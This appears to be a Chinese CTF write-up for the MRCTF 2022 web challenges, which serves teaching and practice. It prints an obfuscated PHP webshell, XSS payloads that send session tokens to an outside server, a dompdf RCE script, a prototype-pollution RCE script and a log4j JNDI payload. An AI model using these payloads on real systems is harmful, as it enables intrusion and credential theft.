文章目录

  • WEB
    • webcheckin
    • God_of_GPA
      • 非预期
        • 非预期1-夺舍bot
        • 非预期2-oauth xss
        • 非预期3-CSRF
    • Tprint
    • hurry_up
  • BONUS
    • Java_mem_shell_Basic
    • Java_mem_shell_Filter

WEB

webcheckin

一个文件上传点,可以上传webshell但是有检测,这里用二进制绕过

<?phpclass KUYE{public $DAXW = null;public $LRXV = null;function __construct(){$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';$this->LRXV = @BinToStr($this->DAXW);@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");}}
new KUYE();
function BinToStr($str){$arr = explode(' ', $str);foreach($arr as &$v){$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));}return join('', $arr);
}
?>

最后flag:

zero=system("find /var -type f | xargs grep 'MRCTF{'");

/var/log/dpkg.log

God_of_GPA

题目由两个web组成:博仁科技统一身份认证和博仁课堂。统一身份认证在登录状态下时,博仁课堂可以直接一键登录。

登录到博仁课堂后可以查看自己的成绩,有一个神秘按钮,点击进入后门界面

这里可是zbr专属的后门通道!想啥呢!

说明需要特殊权限才能使用

再看server端,给了一个和zbr互动的界面(此处提示了bot的浏览器是chrome,跟之后的xss有关)

查看博人树洞的前端代码,发现一段可疑代码

<script>let Img =  window.MyImg || {src: 'https://md.buptmerak.cn/uploads/upload_d12a3804a813ffb14fe38a318d6bfcf1.png'}let Container = document.createElement("div");Container.innerHTML = '<img class="avatar" src="' + Img.src + '">';document.body.appendChild(Container);</script>

此处可以利用dom xss,参考-使用 Dom Clobbering 扩展 XSS

写两篇xss文章,让bot访问认证页之后重定向到另一篇xss,另一篇xss接到token之后再发送到vps

p1

<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"οnerrοr="javascript:function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split(`&`);for (var i=0;i<vars.length;i++) {var pair = vars[i].split(`=`);if(pair[0] == variable){return pair[1];}}return(false);}var token = getQueryVariable(`token`);console.log(token);document.write(`<img src=http://yourip/token=`+token+` >`);"//'></a>

p2

<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"οnerrοr="javascript:setTimeout(function(){location.href=`http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/view/part1uuid`},1000)"//'></a>

向bot发送part2的uuid,part2会访问oauth认证地址并且重定向到part1,part1再发送到远程监听服务器上,以此获得token

rFANjznMf279H2WdhX6NEPPWazGPKibk

此时我们本地访问

http://brtclient.node3.mrctf.fun/login?token=rFANjznMf279H2WdhX6NEPPWazGPKibk

查看成绩即可获得flag

当然将两个脚本融合一下变成一个也是可以的

<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){location.href="//106.14.15.50/flag?f="+encodeURIComponent(uri)
}else{location.href="http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri="+window.location.href
}
</div>
<img src='data:,"οnerrοr="eval(scrip.innerText)' id="MyImg" />

非预期

这里贴一下出题人的wp

非预期1-夺舍bot

由于出题人在写正则的时候忘记写开头和结尾匹配,导致发送uuid的校验出现问题

如果向bot发送形如uuid/../../login?token=yourtoken的uuid,可以令bot在博仁课堂端登录上选手本人的账户

而登录成功的页面提示信息是直接拼接用户名的

所以可以在用户名处进行xss…直接把payload写在用户名里

因为此时bot在server端仍然是管理员账号,在用户名的xss中令bot先访问brtserver.node3.mrctf.fun/oauth/authorize可以拿回管理员权限,之后就可以打CSRF了

非预期2-oauth xss

这个比上面那个稍微好一点,但依然震撼出题人一整年……并且也有多队打出了这个非预期……

由于跳转界面也是直接拼接的redirect_uri,而redirect_uri后面的路径是可以随便写的,所以可以在redirect_uri处进行xss

在文章的xss处令bot访问http://brtserver.node2.buptmerak.cn/oauth/authorize? redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://vps/可以直接拿到token,这样就不用再弹一次了

非预期3-CSRF

非预期1里提到,bot访问/oauth/authorize可以在博仁课堂端管理员登录,那么在文章xss处直接打CSRF也是可以的

Tprint

TP框架,扫一下,有/runtime/log/202204/23.log

发现一个Admin控制器,直接index.php?s=Admin

这里存在一个文件上传的点,根目录有个指定文件名输出pdf的接口

/public/index.php?s=Printer/print&page=/public/storage/static/20220424/8af39fce798b3cd3bf2f7155488f9808.css

主要就是利用dompdf在解析html文件时会默认加载远程css并且进一步缓存远程字体文件的问题。因为未对字体文件后缀进行过滤,导致可以直接缓存任意文件,并且缓存文件名是可以计算出来的。这就导致了一个间接的文件写漏洞。

因为本题不出网,设置了一个文件上传点,通过上传html的方式来进行css注入。我们只需要把恶意字体文件/恶意css/恶意html文件上传上去然后打印我们的恶意文件就能同样触发这个攻击链。

import requests
from hashlib import md5url = "http://140d90fe-e364-438e-b567-e4c7b3e535e5.node1.mrctf.fun:81"font_name = "eki"def print2pdf(page):param= {"s":"Printer/print","page":page}res = requests.get(f"{url}/public/index.php",params=param)return resdef upload(filename,raw):data = {"name":"avatar","type":"image",}res = requests.post(f"{url}/public/index.php?s=admin/upload",data=data,files={"file":(filename,raw,"image/png")})return res.json()["result"]exp_font = "./exp.php"php_location = upload("exp.php",open(exp_font,"rb").read())print(f"php_location=>{php_location}")exp_css = f"""
@font-face{{font-family:'{font_name}';src:url('http://localhost:81{php_location}');font-weight:'normal';font-style:'normal';
}}
"""
css_location = upload("exp.css",exp_css)print(f"css_location=>{css_location}")html = f"""
<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>
"""html_location = upload("exp.html",html)payload = "/storage/"
print(f"html_location=>{html_location}")p = html_locationprint(p)res  = print2pdf(p)open("out.pdf","wb").write(res.content)md5helper = md5()md5helper.update(f"http://localhost:81{php_location}".encode())remote_path = f"/vendor/dompdf/dompdf/lib/fonts/{font_name}-normal_{md5helper.hexdigest()}.php"print(f"remote_path=>{remote_path}")res = requests.get(url+remote_path)print(res.text)

完整文件我github仓库里有

hurry_up

条件竞争进行原型污染RCE。

(请求A访问/,清除Object上的原型污染,并等待100毫秒) -> (请求B进行原型污染) -> (请求A等待结束,进行ejs模板渲染,原型污染RCE,回显flag)

import requests as requ
import time
import os
requests = requ.Session()
proxies = {}
server = "http://hurry.node2.buptmerak.cn"def urlencode(sth):result = ""for i in sth:result += "%"result += "%02x" % ord(i)return resultdef add(paths,data):url = server + "/hide?a=1"for item in paths:url += f"&path[]={item}"url += "&value="+urlencode(data)r = requests.get(url,proxies=proxies)return rdef main():payload="ee;return process.mainModule.require('child_process').execSync('cat /flag && echo successed').toString();//"while 1:_ = (add(['__proto__','outputFunctionName'],payload))if __name__ == '__main__':main()
import requests as requ
import time
import osserver = "http://hurry.node2.buptmerak.cn"
requests = requ.Session()def view():return requests.get(server)def main():while 1:data = view()if 'html' not in data.text:#if 'successed' in data.text:print(data.text)main()

BONUS

Java_mem_shell_Basic

进入是一个tomcat

后台弱口令tomcat/tomcat

打包一个冰歇马上传

jar -cvf shell1.war *

冰蝎连接

flag在tomcat首次编译jsp的tomcat/work目录里threatbook_jsp.java

/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java

Java_mem_shell_Filter

登录框用户名处有log4j

name=${jndi:rmi://xxxxx/exp}&password=admin

jndi反弹shell,没找到flag,将内存dump出来

jmap -dump:format=b,file=e.bin <pid>

生成e.bin后strings就能看到flag

参考:

https://positive.security/blog/dompdf-rce

https://blog.wm-team.cn/index.php/archives/18/

https://ghostasky.github.io/2022/03/19/dompdf%200day(RCE)%E5%A4%8D%E7%8E%B0/

https://mp.weixin.qq.com/s?__biz=MzI3NTg2NTk5Mg==&mid=2247484132&idx=1&sn=55fdb98a839bd2e0a8d14934a0fef757&chksm=eb7f0a03dc0883155a73e1c9326e28be458aa55b7847c5390a43df8702403facb84ab0a06a04&mpshare=1&scene=23&srcid=0425FBJKvWlNewXNv00ett0i&sharer_sharetime=1650892617392&sharer_shareid=ef2a828dd213b828cd3fe897350642f0#rd

https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#Java-mem-shell-Basic

[MRCTF 2022]web题目复现相关推荐

  1. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

  2. 安恒11月赛Web题目复现

    考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好 手速要快 上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的 ...

  3. [安氵旬杯2022] 一些题目复现

    w早上十点多起床开始做 然后忘记提交大数据实验了(乐) 主要做了Re  有时间也会复现一下其他方向的 Re reeeee 绕过反调试 去除花指令 然后看到一个很像Rc4的算法 但是感觉有点复杂 怀疑是 ...

  4. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  5. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  6. ISCC web题复现

    前言 第一次参加ISCC线上赛,感觉题目质量还是挺好的,擂台赛都是大佬们的主场,向我这样的小白也只能学学新东西.在此总结做过的web题目以及相关知识点. 冬奥会 这是一道典型的代码审计.代码中需要满足 ...

  7. ctf wav文件头损坏_【CTF入门第二篇】南邮CTF web题目总结

    这几天写了南邮的web题目,都比较基础,但是对我这个小白来说还是收获蛮大的.可以借此总结一下web题的类型 一,信息都藏在哪 作为ctf题目,肯定是要有些提示的,这些提示有时会在题目介绍里说有时也会隐 ...

  8. 中科大HackerGame2018 web题目 writeup

    虽然很坑,但是总体来说这次还是做了很多有意思的web题,这里也只给出web题的答案 一:签到题 打开发现是要输入key值提交 但是输入后发现限制了长度,只允许输入到hackergame201 打开bu ...

  9. 国赛ezpop题目复现(tp6)

    前言 五月份国赛题目涉及到tp6的反序列化,当时也是在网上找的exp打,不知道其中的链子是怎么构造的,前段时间也接触了tp框架的反序列化,利用这次机会好好复现一下,弄懂其中的原理.在ctfshow和n ...

最新文章

  1. 音视频编解码的国际标准
  2. Pycharm使用远程服务器运行代码
  3. jQuery EasyUI API 中文文档 - 文档
  4. HashTable数据类型的增删改查操作0404
  5. grafana默认用户名密码_提升运维格调?Grafana整合Zabbix
  6. stm32g474芯片手册_STM32芯片资料-STM32F4 选型手册.pdf
  7. rs485接收中断函数使能_RS485通讯几种常见问题
  8. 算法之BFS算法框架
  9. 网上处方药物手册Rxlist 及其药学信息资源
  10. GAN模型生成山水画,骗过半数观察者,普林斯顿大学本科生出品
  11. 【数学建模】数学建模学习5---图与网络(例题+matlab代码实现)
  12. Teams登录报错最全的解决方法ERROR CAA20002 caa70004
  13. ybt1058 求一元二次方程
  14. ligerui 表格中设置单元格不可编辑,添加行,删除行
  15. html5网页制作心得体会,网页设计课程学习心得总结
  16. 终于搞懂Dijkstra算法了
  17. 智能电脑监控器,完美解决想监控别人在自己电脑上的一切操作。
  18. 认生、内敛不等同于孤独症[图]
  19. 编程python如何制作动画_用Python Matplotlib 制作动画
  20. NetworkMiner主机指纹识别原理

热门文章

  1. ubuntu启动、关闭、重启服务service命令
  2. 程序员必备装备:开发环境硬件搭建篇(防颈椎病)
  3. BZOJ2570:算符破译题解
  4. python信号处理教程_Python信号处理
  5. 生成微信关注二维码url
  6. 盘点国内外项目协同管理软件:SaaS和定制化成趋势
  7. 渲染管线和光照解决方案
  8. 使用加密锁如何防止软件被破解
  9. 催收系统 源码 php,header.php
  10. 网络程序设计-WeTalk聊天程序